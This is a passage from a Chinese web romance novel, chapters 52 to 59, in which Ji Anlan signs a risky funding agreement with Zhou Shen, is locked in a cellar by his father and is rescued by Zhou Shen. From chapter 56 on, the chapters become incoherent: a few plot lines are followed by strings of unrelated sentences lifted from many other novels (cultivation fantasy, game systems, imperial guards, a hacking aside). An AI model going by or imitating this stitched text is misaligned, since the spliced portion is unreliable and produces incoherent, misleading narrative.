许年代久远,她的动作稍有些生疏,可她跳得很认真,嘴角挂着淡淡的笑,仿佛恢复了神志。
“妈?”纪安澜试探性地叫了一声。
突然,她的身体像提线木偶被松开,摔倒在地。
第52章 你想听我的故事吗
纪安澜赶紧上前,紧张地低头查看。
只见她趴在地板上,紧闭着双眼,发出了均匀的呼吸声。
竟然就这么睡着了?
纪安澜尝试着想把她从地上拽起来。
可力气太小,一个人拉不动。
这时,一个黑影伫立在眼前。
骨节分明的手,按住了母亲的肩膀。
抬眸看去,正撞入周慎如深潭般的眸子。
二话不说,一把将目前从地上抱起,快步走向病房。
纪安澜愣在当场,没想到周慎竟然出现了。
他何时来的?
难道刚才一切他都看到了?
反应过来时,周慎已经打开病房的门,走了进去。
纪安澜快步走上前,看着周慎细心地把母亲放在床上,为她盖好被子,动作轻柔,眸光微闪,眼底带着一丝防备,和一丝难堪。
也不知周慎见到母亲这样,作何感想?
只见他静静地站在病床前,目光紧盯着母亲的脸,眼神复杂,却不带任何的鄙视,一抹复杂的情绪在他眼底缓缓流淌。
他静静地立在那,犹如一座雕像。
“周总。”
纪安澜清了清嗓子,叫了他一声。
听见声音,周慎回头。
“谢谢你,我母亲她不是从小这样,她一定会好起来的。”
目光坚定,纪安澜声音掷地有声。
听见纪安澜的解释,周慎那双平静无波的眸子,罕见地起了些涟漪。
他慢慢走向纪安澜,回眸看她,声音低沉:“你想听听我的故事吗?”
对上那双纯净的眼眸,纪安澜木然的点了点头。
两人一起走出病房,坐在了走廊的椅子上。
周慎说起了过往。
很多年前,他的母亲被人贩子拐到深山里,很快的就疯了,他母亲还是拼了命的护他出来。
“我还记得她那双浑浊的眼睛里灼灼的光,不管别人怎么打他,她都把我护在身下,明明身材瘦弱,怕疼得直哭,还是把我护着离开了深山。”
纪安澜的眼神里充满了震撼。
没想到周慎居然还有这样的经济。
许是因为他们两人同病相怜,纪安澜眼中起了一抹担忧,忍不住问:“那你妈妈现在……还活着吗?”
周慎回眸看她,眼底的波澜迅速敛去,蒙上了一层阴影。
他张了张嘴,声音干涩:“不知道。”
“找了好久,音讯全无。”
声音里满是失落,眼底克制着情绪。
像周慎这样手眼通天的人,都找不到,恐怕……
心里有了这种猜测,不过纪安澜却没有说出口,而是定定地看着他,眼底划过一抹连她自己都没有察觉的心疼。
过了好半晌,周慎收敛起脸上的神情,转头看着纪安澜,说明了来意。
“现在有时间吗?”
纪安澜点了点头。
“你想提前哪款需要付出代价。”表情严肃,语气认真。
一双眸子紧紧地盯着纪安澜。
“什么代价?”纪安澜自然知道天上没有掉馅饼的好事。
商人重利,他们不会平白无故地帮忙。
“那要看看你有怎样的诚意了。”周慎勾了勾唇。
她现在很需要这笔钱才能盘活纪氏,若说诚意,那也只有一腔真心了。
可在这个世界最不值钱的就是真心。
纪安澜张嘴想要说话,却被周慎打断了。
“不着急,我先带你回远卓科技,至于你的诚意,不是亮给我看,而是给那些老头子看。”
话音刚落,领着纪安澜离开了疗养院,两人一起上了车,回到了远卓科技。
办公室,股东们早就已经等待良久。
门一推开,看见周慎和纪安澜一同走进来,所有人的目光齐刷刷地看向了两人。
股东们也都单刀直入,“纪总,你提前收到了预付款,按照我们公司所规定,必须要提供额外的担保。”
来的路上,纪安澜仔思忖过了,认真地提出:“可以拿出纪氏10%的股份作为抵押。”
此话一说出口,满堂皆笑。
“纪总,你不是在开玩笑吧?”
“如今的纪氏,说白了就是一个空壳子,10%的股份,连几千万都抵不上,难道你想空手套白狼?”
他们压根就看不上现在的纪氏10%的股份。
纪安澜脸色一白,手指紧紧蜷缩,眼底划过一抹慌乱。
可除了这些,他真的再
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也拿不出别的作为抵押。
耳边的声音越发喧闹,股东们的嘲笑声震耳欲聋。
纪安澜呆站在原地,脸色越发难看。
这时,一直沉默的周慎突然开了口。
“我有一个办法。”
一句话,让所有的人都哑雀无声,目光直勾勾地看向他。
周慎扭头,目光锐利如刃,定定地看着纪安澜:“给你三个月的时间,让纪氏的市值翻一倍,如果做不到,不仅要归还预付款,还要支付30%的违约金。”
锐利的眼眸微眯着,周慎顿了一下问道:“你可愿意?”
这句话不单是问纪安澜,当然也是问在场的股东。
如此厉害的霸王条款,当然是有利于他们远卓科技,股东们没有不答应的道理,他们交头接耳,很快的就得出结论。
“纪总,你可愿签下协议?”
众人向纪安澜施压。
周慎眉峰微挑,眼神带着几分挑衅。
纪安澜犹如一片孤舟,飘零在大海之中。
这是周慎给她的机会,同时也是个巨大的挑战。
换成他人,恐怕早就已经怕了,可纪安澜从来都不怕挑战。
她唇角一勾,一脸自信:“签!”
话音刚落,周慎手指一勾,一个新鲜的文件出炉。
纪安澜仔细地阅读了文件的内容,确定无误后,在补充协议上签上了她的名字。
字迹力透纸背,仿佛要破釜沉舟。
股东们见到纪安澜签了文件,便也没有再找茬,只是个个眼中充满了讥讽,他们觉得以纪安澜的实力,压根就做不到。
就算是他们这些商海沉浮的老狐狸,恐怕也很难有信心跟周慎签下这份补充协议。
在他们看来,周慎这是挖了个坑让纪安澜跳,纪安澜还傻傻地往里跳。
股东们摇着头,离开了办公室。
财务走进门,往纪安澜的账户打了剩下的7个亿。
看着银行卡的数字,纪安澜那颗悬着的心终于落了地。
视线落在周慎脸上,纪安澜语气清浅:“多谢周总。”
周慎嘴唇翕合,刚准备开口。
纪安澜突然问:“钱款拿到手了,周霆云是不是也该回来了?”
第53章 你能不能要点脸?
周慎眉头一皱,一脸意外地盯着纪安澜。
“你怎么会突然关心他?”
纪安澜被问的一噎。
她倒不是关心周霆云。
而是当初订完婚后,周霆云一走了之,按周慎所说,他是处理国外的麻烦了,当时周慎手上没有那么多钱,如今钱款到账,想必麻烦也已经解决,他应该回来了才是。
纪安澜是替姚姿问的。
“没有,随口问问。”纪安澜淡淡的扯了扯唇,露出了一抹极淡的笑。
“还没回来,人在国外,具体什么情况并不清楚。”
周慎耸了耸肩。
“公司已经恢复正常运营。”
视线落在纪安澜身上,似笑非笑道:“你放心,暂时还倒闭不了,暂时不会给你要回那10亿。”
“那我就放心了。”纪安澜扯了扯唇,顺着周慎的话说。
“周总,若是没其他的事,我就先走了。”
话音刚落,招了招手,转身就走。
“纪总这是在过河拆桥?”
身后,传来了男人埋怨的嗓音。
纪安澜驻足,挑着眉,笑着说道:“周总,还想要什么?”
听到纪安澜这么一问,周慎眼底闪烁着幽光,立刻扑了上去。
纪安澜早就已经预料到了他会这么做,向后退了一步,周慎扑了个空。
唇角微微上扬,纪安澜淡笑道:“纪总,你自己慢慢玩吧,我还有事要做,恕不奉陪。”
话音刚落,等周慎有任何反应,纪安澜头也不回地潇洒离去。
看着纪安澜的背影,周慎不怒,反而是勾了勾唇,眼底划过一抹兴味。
果然越来越有趣了。
纪安澜步履生风离开了远卓科技,开车去了姚姿的家。
车子刚一停下,远远的就看到了一个曼妙的身影出现在了门口,手里还拉着个行李箱。
纪安澜推开车门,下了车,快步走了过去。
“你这是……”
见纪安澜来了,姚姿眼睛一喜。
“澜澜,你来了,但是不巧,我要去国外拍戏。”
之前姚姿每次去国外都会提前跟她打招呼,怎么今天打算不声不响地去?
眼中划过一抹怀疑,纪安澜问:“该不会是英国吧?”
因为周霆云如今就在英国,纪安澜心里产生了猜测。
姚姿点了点头:“导演正好在国外有个电影要拍,我闲着也是闲着。”
这句话分明是在向她解释。
看着姚姿眼底的慌乱,纪安澜无奈地叹了口气。
她知道姚姿是在担心周霆云。
走上前一步,拉住了姚姿的手,纪安澜认真道:“我刚从周慎那边回来,周家的资金已经解决了,至于周霆云为什么还没回来,不清楚,不过应该没什么问题。”
听到纪安澜这么一说,姚姿那颗悬着的心终于放下,松了一口气。
“那就好,那就好……”她仿佛在自言自语,只是眼底还是存着一抹担忧。
看着姚姿一副魂不守舍的模样,纪安澜知道,就算劝她留在国内,她也是不肯的。
紧盯着那张担忧的小脸,纪安澜认真道:“我希望你过得幸福,一旦遇到任何问题,随时回来找我,我永远都是你最后的依靠!”
姚姿心里升起了一股暖流,鼻子一酸,眼眶里蓄满了泪水。
“澜澜,我就知道你最好了。”
千言万语化成一个拥抱,姚姿紧紧抱着纪安澜。
“你放心,我找到他,很快就会回来。”
纪安澜轻轻地拍了拍她的背,以示安慰。
目送姚姿上了车,纪安澜这才开车离开。
这时突然接到了一个陌生号码打来的电话。
接听,那头传来了苍老的声音。
居然是周父打来的。
约纪安澜在周家见面。
虽然心里觉得很奇怪,不过纪安澜还是答应了下来。
调转车头,驱车前往周宅。
别墅的大门被打开,迎接纪安澜进入。
下了车,纪安澜快步走向大厅。
琉璃灯的映照下,显得整个大厅富丽堂皇。
沙发上,坐着一个中年男人,黑色西装熨贴得当,头发梳得一丝不苟。
转过头来,面无表情,眼神冷得仿佛淬了冰的刀刃。
这场面,来者不善。
“周董,找我来所为何事?”纪安澜单刀直入地问。
周父面色冷
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峻,视线上下地打量了一番纪安澜,像是在看什么脏东西。
“以后离周慎远一点!”
音调颇高,语气里夹杂着愤怒。
纪安澜皱眉,眼中充满了不解。
当初死皮赖脸,非要让她做他三个月情妇的人是周慎。
周父真的想要解决麻烦,也应该去找周慎,而不是找她。
“你已经结了婚,是个有夫之妇,怎么能还那么不知检点,跟周慎走得那么近?”
一字一句,字字像是绵密的刀,扎进了纪安澜的心里。
虽说她已经决议跟江容川离婚,可在外人看来,到底是跟江容川不清不楚。
如今身份确实有些难以启齿。
被一个长辈当面斥责不知检点,饶是再厚脸皮的人,也会臊得慌。
心里略微有些紧张,可面上依旧装作一副平静的模样。
若非逼不得已,她也不想靠近周慎。
两人又没做什么伤天害理的事,各取所需,她没必要心虚。
与江容川和宋芸芸的做法相比,她这简直是小巫见大巫。
在心里安慰了一番自己,纪安澜挺直了腰杆。
深吸了一口气,给自己加油鼓劲。
掀起眼眸,看向周父,纪安澜眼底一片冷意。
“周董,我跟周慎的关系不是太近,而是我本来就是他的情人,靠多近都是应该的。”
此话一说出口,房间陷入沉默。
周父瞪大眼睛,不可置信地看着纪安澜,没想到她竟然能堂而皇之地说出这句话。
“你……你能不能要点脸?”
周父的脸气得铁青,额上青筋暴起,颤抖着手指着纪安澜的鼻子怒骂,“你如此上不了台面,我们周家是绝对不会接受你这样的人的!”
“只要周慎能接受的了就好。”
这是周慎给她的底气。
她绝对不能轻易认输,一定要紧紧抱着周慎这个大腿!
看着纪安澜一副有恃无恐的模样,周父脸气得涨得通红,恶狠狠地瞪着纪安澜,眼底一片冰凉,几乎要将人冻伤。
“你要是再敢接近我儿子,信不信我立刻就让纪家倒台!”
纪安澜的心蓦地一沉。
第54章 痛打逆父
看着纪安澜脸色骤变,周父冷哼一声,眼底满是威胁。
迎着那仿佛淬了冰的目光,纪安澜心神微定,收敛起脸上的神情。
按理说,富家贵公子找情妇,做老子的要想管,首先要找的是他儿子。
可周父却选择找到了她。
这很古怪。
十分有十二分的古怪。
周慎上次断了吴有天一个胳膊都没事,还得吴家上门赔罪道歉,行事之狠辣,令人咋舌。
他做事向来不按套路出牌,偏偏又手外通天,无人敢惹,想来周父即便是是他父亲,也管不了周慎。
想到这里,纪安澜勾了勾唇,眉眼含笑,笑意却未达眼底,紧盯着周父。
“莫不是周董管不了自己儿子?拿我这个手无缚鸡之力的女人出气?”
声音不咸不淡,却像是一把精准的手术刀,直插命脉。
周父脸色骤变,由青转黑,额角青筋突突直跳。
“胡说八道!”几乎是从牙缝里挤出几个字,他气得吹胡子瞪眼,手指微颤,指着纪安澜:“我自己亲生的儿子,怎么管不了?”
纪安澜眉峰微挑,一脸无所谓道:“既然周董能管住周慎,那就去管他,跟我一个微不足道的情妇说什么?难道你跟我说了,他就不来找我了?”
说罢,冷嗤了一声。
周父被堵得哑口无言,一张老脸涨成了猪肝色。
胸口剧烈地起伏着,眼睛死死地瞪着纪安澜,眼底满是狠戾。
过了好半晌,才沉声道:“我再给你最后一次机会,你是否愿意离开周慎?”
纪安澜毫不犹豫,冷声回答:“周董怕是找错人了,此事你应该问周总。”
“好好好!”周父被气得浑身发抖。
他冲着门外大喊了一句:“来人!把这个女人给我关起来!没有我的命令,谁也不许放她出来!”
话音刚落,目光落在了纪安澜脸上,眼底一片冰冷,充满了狠绝。
“等你想通了,再与我说话。”
几个保镖鱼贯而入,想去伸手架纪安澜,却被纪安澜冷声呵斥:“我自己会走。”
她知道挣扎无用,只是淡淡的瞥了周父一眼,眼神轻蔑,像是一根绵密的针扎进了周父的心里。
纪安澜被关在了别墅的负一层。
这里阴冷潮湿,空气中弥漫着一股腐朽的味道,还有一股淡淡的酒味。
纪安澜被人推了一把,差点从台阶上栽下去。
勉强站稳,身后传来了咣当一声,门被锁上了
灯光昏暗,纪安澜眯着眼睛,勉强适应。
这个酒窖很大,伫立着几排酒槽,每走一步,似乎都能听见空旷的声音。
纪安澜朝里走,视线仔细观察着周围。
突然,她发现有一块石壁的颜色与其他的颜色有所不同。
走上前,忍不住触摸了一下。
触感光滑而又干燥,而其他的石壁则多了些水汽。
想来,这块石壁应该经常被人触摸。
想到这里,纪安澜心里产生了一个大胆的猜测,用力一推。
只听轰隆一声,旁边居然开了一道小门。
瞳孔里满是惊讶,纪安澜好奇地探过头,只是那道密室实在昏暗,只有一丝极淡的微光,看不真切。
正当纪安澜犹豫要不要进去时,突然,听到了一道尖厉的嗓音,伴随着铃铛晃动清脆的声音。
“不要过来,不要过来!”
“不许动他!”
“快跑!!”
循着声音的方向看去,借着微弱的灯光,仿佛看到一个人影。
心里一惊,纪安澜没想到,这里居然还关着一个人。
下意识地抬脚朝着密室走了进去,走近了才发现,里面竟然是一个卧室,布置简单,却十分精致。
房间正中间站着一个女人,嘴里念念有词,一直在嘀咕着什么,昏暗的灯光下,纪安澜上前一一步,那女人骤然掀起眼眸,一双眸子浑浊不堪,眼睛充满了警惕,像是一只受惊了的小鹿。
“不要过来,不要过来!”
惊慌失措的模样,像极了失神的母亲。
纪安澜心里涌起一丝酸楚,再靠近,而是柔声道:“阿姨,我不是坏人,你怎么会在这?”
没有回答,女人似乎也逐渐放松警惕,头低垂下去,
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杂乱的头发垂在耳际,嘴里哼着不成调的歌谣。
见她安静了些,纪安澜又尝试着问了几句。
可女人完全没有任何反应,就好像听不见一样。
她慢慢走向床,坐在了床边,胳膊晃动,手腕上的银铃铛发出清脆的声响。
一抹醒目的红色,系着银铃铛,衬得女人的皮肤越发的白皙,那红绳系得极紧,绑带看起来也很有说法。
纪安澜神情一滞,大脑一片空白,脸上露出一抹尴尬的神情,快步走了出去。
轻抚着胸口,纪安澜回头看了那道暗门一眼。
周慎的父亲玩的挺花的。
居然把女人关在这种暗无天日的地方,供他消遣?
真是人性泯灭!
纪安澜气得想报警。
可转念一想,她不能得罪周父,此事得藏在心里,否则知道的越多,死得越快。
纪安澜咬紧下唇,眼神复杂地将石壁恢复了原样,回到了酒窖中,微微叹息了一声:“等到合适的时机,我再救你吧。”
看着长长的阶梯,周围一片昏暗,纪安澜眼神蒙上了一层阴影。
眼下,她是泥菩萨过江,自身难保。
得想法子从这里逃出去!
也不知道周慎现在在干什么?
刚产生这个念头,纪安澜立刻摇了摇头,靠人不如靠己,不能寄希望于周慎身上。
这样想着,纪安澜开始在酒窖里找能出去的法子。
与此同时,周氏别墅一楼,砰的一声,门被踹开。
周慎一袭黑色风衣,头发被风吹得有些凌乱,满脸戾气,那双阴鸷的眸子满是怒火。
他大步流星地走到沙发前,目光狠狠地瞪着周父。
“纪安澜呢?”
“那个不检点的女人?你找她干什么?”周父吹胡子瞪眼,一脸鄙夷。
“把她交出来。”周慎声音冷到极致,语气中充满了威胁。
“我不交又能怎样?”周父冷冷地瞪着周慎。
他亲生的儿子,总不至于对他动手吧?
心里刚有这个想法,周慎一拳砸在了他的脸上。
周父顿时疼得嗷嗷直叫。
第55章 他来救她了!
“你这个逆子,你敢打我?我可是你爸!”
周父捂着脸,不可置信地瞪着周慎。
听到这个称呼,周慎嘴角噙着一抹冷笑,眼底的寒意结成冰凌,直直地刺向了周父。
“你也配?”
冷冽的嗓音像是凝结的寒霜,周慎目光阴鸷,瞪着周父。
“马上把人交出来,我没有耐心,那我也不介意多打你几下。”
他微眯着眼睛,眼底满是冷意。
在得知纪安澜被周父带来周家的消息后,快马加鞭地赶了回来,可没想到还是来晚了一步。
眼中的着急不加掩饰,冰冷快要溢出瞳孔。
周父的身子瑟缩了一下,原本以为他作为周慎的生父,周慎绝不会对他动手,没想到却被打脸了。
如今,他可不敢赌。
周慎这一拳下来,毁容都是小事,怕是会要命。
周父哆哆嗦嗦,声音颤抖:“她……在酒窖。”
视线冷冽如刃,冷冰冰地瞪了一眼周父,后者被吓得缩了缩脑袋,眼睛多了一抹恐惧。
周慎快步离去,来到酒窖,一脚将门踹开。
听见砰的一声巨响。
纪安澜心头一紧,猛地抬起头。
一丝光亮慢慢变大,映照在长长的阶梯上。
纪安澜的视线下意识地看了一眼旁边的石壁,赶紧收回目光,连起脸上的表情,装作一副无所谓的模样,打算跟周父再次对线。
可在看清来人时,纪安澜愣了一下。
居然是周慎。
凌乱的发丝将那张鬼斧神雕的面庞衬得充满了野性,戾气占满了整张脸,他迈着修长的腿,大步流星地来到她面前。
纪安澜此刻一身狼狈,浑身泥污,头发也有些凌乱。
周慎的眸子又冷了几分。
他声音很轻,沉声问:“还能走吗?”
愣了一瞬,纪安澜点了点头。
地窖里的空气稀薄,温度很低,纪安澜忍不住伸手揉搓了下肩膀。
周慎将风衣脱掉,披在了纪安澜的肩上,动作很是温柔。
纪安澜刚准备拒绝,掀起眼眸,便撞入了那双如深潭般的眸子,眼底夹杂着一丝不耐。
到嘴边的话又生生地咽了回去。
既然周慎要救她,她可不是个不识好歹的人。
“我带你出去。”
他的声音不咸不淡,却带着不容人忽视的威严。
纪安澜跟在他的身后,亦步亦趋,一起离开了周氏别墅,周慎带她回了御景豪庭。
装修简约大气,是他一贯爱的禁欲风,极致简约,完全没有生活气息。
倒是跟他这个花花公子的气势有些不符。
纪安澜心里正在感慨,周慎突然走过来,扔给了她一套睡衣。
“换身衣服吧。”
接过睡衣,纪安澜低头一看,才发现浑身满是脏污。
尴尬地扯了扯唇,纪安澜不好意思道:“多谢周总。”
在他的指引下,纪安澜进了客房,赶紧把门反锁住,进入浴室,美美的洗了个澡。
温暖的水包裹住整个身子,洗去了满身疲惫和寒意。
纪安澜穿上干净的睡衣,正用浴巾擦头发。
突然响起了敲门声。
纪安澜走过去,将门打开。
没想到周慎自顾自地走了进来。
纪安澜有些尴尬地站在原地。
随便闯入女生的卧室,实在让人觉得心里不适。
不过转念一想,这里是周慎的家,也不是她的卧室。
“过来。”
低沉的嗓音泛着好听的磁性。
纪安澜回过神来,循着声音的方向看去,只见周慎朝着她的方向勾了勾手指。
他双腿交叠,坐在沙发上,一副正人君子的模样。
纪安澜犹豫一瞬,慢悠悠地走过去。
站到他面前,纪安澜狐疑地问:“怎么了?”
“转一圈。”
声音带着不容置喙的威严。
“啊?”纪安澜觉得莫名其妙。
“转圈都不会?需要我帮你吗?”
他眉峰微挑,眼底夹杂着一丝戏谑。
纪安澜立刻摇头,迅速转了一圈。
“有没有觉得哪里不舒服?”
周慎视线紧紧地盯着纪安澜,沉声询问。
纪安澜活动筋骨,眉头微蹙:“本来觉得没什么,你这么一问的话,我感觉胳膊……”
话还没有说完,周慎拉着她坐在
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了沙发上。
纪安澜还没反应过来,周慎一把撸起她的袖子,仔细地查看着她的胳膊。
果然,有一片是红肿的。
周慎浓眉微皱,指尖碰了碰那片红色。
“痛吗?”
冰凉的触感在胳膊上蔓延,纪安澜呼吸一滞,瞪大眼睛,不可置信地看着他,呆愣在原地。
指尖的柔软触感也让周慎愣在当场,手指僵硬在半空中,面色微僵。
刹那间,两人都像是被施了定身术,动弹不得。
空气弥漫着一股尴尬而又微妙的气氛,温度骤然高了几分。
纪安澜赶紧把袖子撸下来,神色不自然地理了理额前的碎发,清了清嗓子。
“不痛,可能是不小心撞到哪了,我没事。”
说罢,尬笑了几声。
实在是觉得有些尴尬,纪安澜腾的一下站起身,打算离开。
可这时手腕被攥住。
周慎低沉的嗓音在背后响起:“我看还挺严重的,得及时处理。”
话音刚落,不等纪安澜拒绝,他又把纪安澜拉坐在了沙发上。
“周总,我没事,真的,不用你……”
“需要我帮你把袖子撸上来?”周慎挑了挑眉。
纪安澜迅速摇头,立刻把袖子撸上去,露出了那一片红痕,努力地扯了扯唇:“其实真的没什么……”
周慎没说话,而是打开药箱,为纪安澜上药,动作极尽轻柔,垂着眉眼,他的面部线条越发的完美流畅,长长的眼睫在脸上投下小片的阴影,少了几分狠厉,多了些柔和。
鼻息间充斥着熟悉的松木香,混合着纪安澜身上的皂角香,一瞬间,让她有些失神。
他的食指蘸了药,往纪安澜的伤口上抹,清凉,泛着一丝麻意,让纪安澜忍不住“嘶”了一声。
“痛吗?”
周慎掀起眼眸,纪安澜刚准备抽回手,两人鼻尖差点碰到一起,瞳孔剧烈收缩,看着那个无限放大的俊脸,纪安澜呼吸一滞,大脑有一瞬间的空白。
周慎微微一愣,眉眼染上了一抹戏谑,微微抬起下巴,手搭在了她不经意握的腰上,纪安澜瞳孔骤缩,眼看着那张俊脸越来越近……
第一卷 第56章 爷爷的寿宴
纪安澜呼吸急促,脸发烫,烧到了耳朵根。
温热的鼻息喷薄在脸上,一股酥麻感直冲天灵盖。
纪安澜用力地推开他,几乎是逃也式的跑向门口。
噔噔噔——
拖鞋踩在地上的声响极大,听起来有些滑稽。
柳珊看到已经挂断的电话,心里一阵委屈,而旁边的柳宪武也听到了张青云的话。
苏媚儿眉头微蹙,托行李跨步时,倒吸一口凉气,抛给陈龙象一个眼神。
见自己老婆竟然当众说要跟着别人,牛二的眼睛珠子都红了,血红血红。
步妙菱忍不住嫉妒云筝高贵的身份,心中更是感到了极大的落差,毕竟本就是对手的两人,再次相见,身份以及实力都相差那么大,让她愈发的不爽。
那个熟悉的字眼在喉咙里滚了一圈,最终夹杂着各种复杂的情绪,近乎无声又颤抖地逸了出来。
就是这么几个动作,他夹在胳膊底下的头盔后面,跟防护服交界的防水布上滴落到地面上,顿时像是水入油锅,“嗤”的一声,泛起了一丝诡异的黑烟。
话音刚落,只见眼睛出现一道光束,肉眼可见的黄金消失在了自己面前,而再看虚空中的蓝色面板,上边写着黄金点:300点。
以官方专线网络作为跳板,在那迷宫,蛛网一样错综复杂的路线当中,找到了真正的下手目标。
与此同时,叶川和萧沁已然来到了那头巨龙面前,打算将其身体里的珍贵材料都给取出来。
在几分钟之前,他的体力值回复速度还是双倍,但是宁良哲杀了他投喂过的那些巫师之后,他的体力值和精力值回复速度就恢复到了原来的水平,没办法继续供应他这么高强度的战斗了。
“魏公子,这是张大彪,在我们锦衣卫中是有名的好手,因此我把他了出来作为您的护卫队队长。”许显纯指着这名大汉给希孟介绍道。
说到底,对大多数年少多金,又仪表堂堂的年轻人来说,清纯的学生妹才是最爱。
可是无论操作员怎么呼叫,对面一直都没有声音,显然对面并没有人在。
丞相自己是八层玄塔以上的修为,而路双阳在他眼中,简直比蝼蚁还要蝼蚁。
这个青年,自然就是缓慢向着第一天阶世家青少年斗玄大会举办地南域前进的路双阳。
所以说,锁气环虽然贵重,用处真的不大,而且是很高端的宝物,对普通的出尘上人,意义并不大——很可能你都没有感受到气息,就已经散放完了。
其实这也难怪,虽然说他们那些审判厅的成员本人能力也挺不错的,超远超于普通人。
像这样巨大的怪兽,很多时候都是需要在特定的环境下才能成长的,显然目前的地球上并没有这个条件,除非还是恐龙时代,因此每次看到这样巨大的身影,京子都会觉得非常不可思议。
路双阳明白过来了,的确,天下间最难报答的恩情,就是父母的养育之恩。
“妈,您先回去。我去看看。一会儿回去。”我说着不由分说,直接挣脱开老妈抓着我的手,就朝着灵棚那边跑去。
这或许是自从华夏帝国建国以来第一次大规模的出现在所有国家的面前,但是既然对方敢如此的高调,那就意味着对方也有着绝对的实力。
第一卷 第57章 你回来我很开心
尖利的声音响彻了整个大厅。
“这是我们江家的寿宴,岂容你一个外人在这里挑三拣四?”
话音刚落,冷声命令那些佣人。
“谁要听她的话,就是不想干了,现在就可以卷铺盖走人。”
徐向阳将怀中袋子全部堆放在办公桌上后,蹑手蹑脚地走到休息室门口,将耳朵贴在门上倾听着。
就在雪凡心研究那两只摄魂蛊的时候,凤仙瑶那边却按耐不住了,一直在等端木影的消息,等到现在也没有任何消息,通过子蛊的联系,她能感觉得到,那只摄魂子蛊依然还原封不动。
孙长宁答应了放水十招,对于柳平来说,这起手的十招才是这一次比试的关键。
苏桐望着眼前的场景,她的嘴角明显抽搐了一下。如此轻描淡写地就抹杀了两名魂实期修士,她突然有一种生命如草芥的感叹。
“我想,你姐姐长得也跟你一般漂亮吧?你们都继承了青伶的美貌。”韩冰到现在都还没有见过雅亭摘掉面纱的样子。
对霍霆琛没有隐瞒,她把他从深圳出差回来那天,简建威找她的事情,悉数到出。
到了夜里,把闲杂人打发出屋子,推开窗户,把门紧闭了。在屋子的地下铺一层香灰,点燃一炷香,观察香的动态。
他让陈姐端着水,他自已拧干毛巾,再轻轻地替她擦拭脸上干掉的血迹。
“唉!”姜晨再次长叹,索性迈开步子大步离去,待在这里,对于他来说也是一种煎熬。
人类与疾病的斗争史几乎在人类诞生之时便开始了,其中,疟疾又是蹂躏人类时间最长的疾病之一。
当然了,如果这条理由还不足以说明问题的话,那么周方远还能说出其他的原因来。
当驯马师,一个个拿着马套逼近的时候,那野马忽然间朝着其中一个驯马师冲过去。
司虎来到北大门后,由于他身上没有原石,无法通过正常渠道出去,而且他还被驻扎在这里的军队驱赶,于是他准备到其他地方碰碰运气。
作为一名资深律师,他很清楚自己如果怼上在夜城财大势大的叶家是什么结果。
可能体能上,顾颜会比郭柔稍微差一些,但是这丫头对医学的擅长,又弥补了这块。
他去停车室取了车,然后直接开车前往公司。一路上他几乎全程黑脸,琥珀色的眼眸一片冰冷。
这件事情就是,在给司马摸脉的时候,易圣发觉他的灵根有点怪,现在正像对司马动手,恰好就想起来了。
于天翔等人跑到鬼头宫大门处,几人对着大门咣咣咣的一顿猛砸,然大门却关的严紧,一点儿能开的意思都不带有的。
“不用不用,我直接打车就可以回去的,不用麻烦你了。”诺惜急忙摆手,一直都很不习惯麻烦别人。
张乐看得出来,阮琪珊是别有用意,不过也没说什么,便跟着阮琪珊一道走了。
唯有罗洛一脸无所谓的样子,这么多天下来了,他早就知道北斗不是一个会无的放矢的人,此行必然是有着一番目的。
龙龟背甲在反复烧灼中熔化,背负巍巍青山得来的百草精华在真火中聚成一滴碧绿色的玉团,在背甲彻底消失的一瞬间猛地砸在了龙龟的腹甲中心。
第一卷 第58章 去医院看看眼睛
柳清眉身子跌跌撞撞向后退,踉跄了几步,险些没有站稳。
江容川眼疾手快走上前,一把扶住了她。
“妈?你没事吧?”
声音低沉,语气担忧。
柳清眉惊魂未定,掀起眼眸,气得说不出完整话:“你这个不孝子!知道关心……我?”
“看来这术法比起天云宗宗主的罗生门,还是差得远。”秦玉低声说道。
一路上的奔波劳累,终于在夜幕悄悄降临的时候,几人到达了五毒教内。
“周凯哲!除了你之外,根本不可能有别人!”沈诗瑶咬牙切齿。
房间开设不到五分钟便已经坐满了人,这些人当中,有许多已经到了垂危之年,然而炼丹技术还是颇为平庸。
林湄又觉一盆狗血“哗啦”泼在了自己头上,迎头而下淋得她措手不及,赵江和竟然与邢铮认识?
后来,随着和红红的感情越来越深厚,蓝纳瑞就越觉得,不告诉红红这件事,对红红很不公平。
“沉骁?”秦妄的声音打破了这个僵局,他微蹙着眉头,目光疑惑的在顾沉骁和宋言的身上来回的扫了一遍。
“哼,萧十一郎有割鹿刀在手,你想对付他也不是那么容易的。”风四娘置气的回道。
似乎相比起云晓手中的那些化石,她更关心这遗迹深处到底有什么。
突然脚下一软,步伐虚虚浮浮地,只听“噗”的一声,一股不知名的气体从他的身后释放。
可是这石碑上却是没有提到什么回去的路,这叫叶倾城在惊艳之余,有点失望。
“是枫打来的么,怎么了,家里有什么事么?”这时候梦也从浴室里出来了,换了一条粉白色连衣裙,粉色的头发自然披下,粉色的项链带在颈上,那是她母亲送给她的六岁生日礼物,也是遗物,梦一直带着它。
“欧阳家?那是什么家族?难道比四大名‘门’世家更强大吗?”墨青阳好奇问道。
三人相近的走进病房,望着安若然躺在病床上的模样,神情不一。
他蹲在断裂的假人前面,静待断口冷却之后,就伸出手指,细细摩挲着金属假人身上的裂口。
所以在皇宫大内巡逻的必定是禁卫营的人,北镇抚司的衙门在京城之中,而南镇抚司衙门则设立在京郊。叶倾城在宫里是见不到南镇抚司的人,那就相当于一支军队。
送走了他们,苏南幽幽的转过头,看了眼坐在那里当大爷的宇智波带土,满肚子的苦水都是忍不住倾盆而出。
他刚才之所以出手杀死叶柳烟,并不是他有多恨叶柳烟,最根本原因是,他看出了叶柳烟必死,而新晋的战神将成为新的河越之主。
只不过,要想创造出一个拥有【灵魂】的念兽,可不是一件易事。
左非白支走洪浩,不是不能让他知道,而是左非白想给欧阳诗诗一个惊喜,怕洪浩说漏了嘴,还有一个原因是有些难为情,不想让洪浩知道。
此时白羽的瞳孔微缩,这个时候百凤鸣是掩饰了他的实力的,但是别人看不出端倪,不代表白羽看不出端倪来,白羽可是有神王级的神魂,所以一瞬间就发现了事情的不同寻常之处来。
急退的身形停下,雷恩双腿弯曲下,没有丝毫停留,直接就是朝着天空跃去,而后更是奋起最后的力量施展月步,数息间便是出现在了近百米的高空。
第一卷 第59章 周家来了
“闹够了吗?爷爷还在等着。”
他的声音很轻,甚至听不出情绪,眉眼染上了一层恳求。
纪安澜不想理他。
手上的力道加重,江容川低声道:“别走,就当是看在爷爷的面子上。”
“服下吧!”霍新晨驾驭着流云梭来到了杰克面前,拿出了一枚大皇血丹递给了杰克,杰克也是第一次见到霍新晨驾驭千变万化,他竟然从霍新晨身上感觉到了沉重的压力,这让他很是震惊。
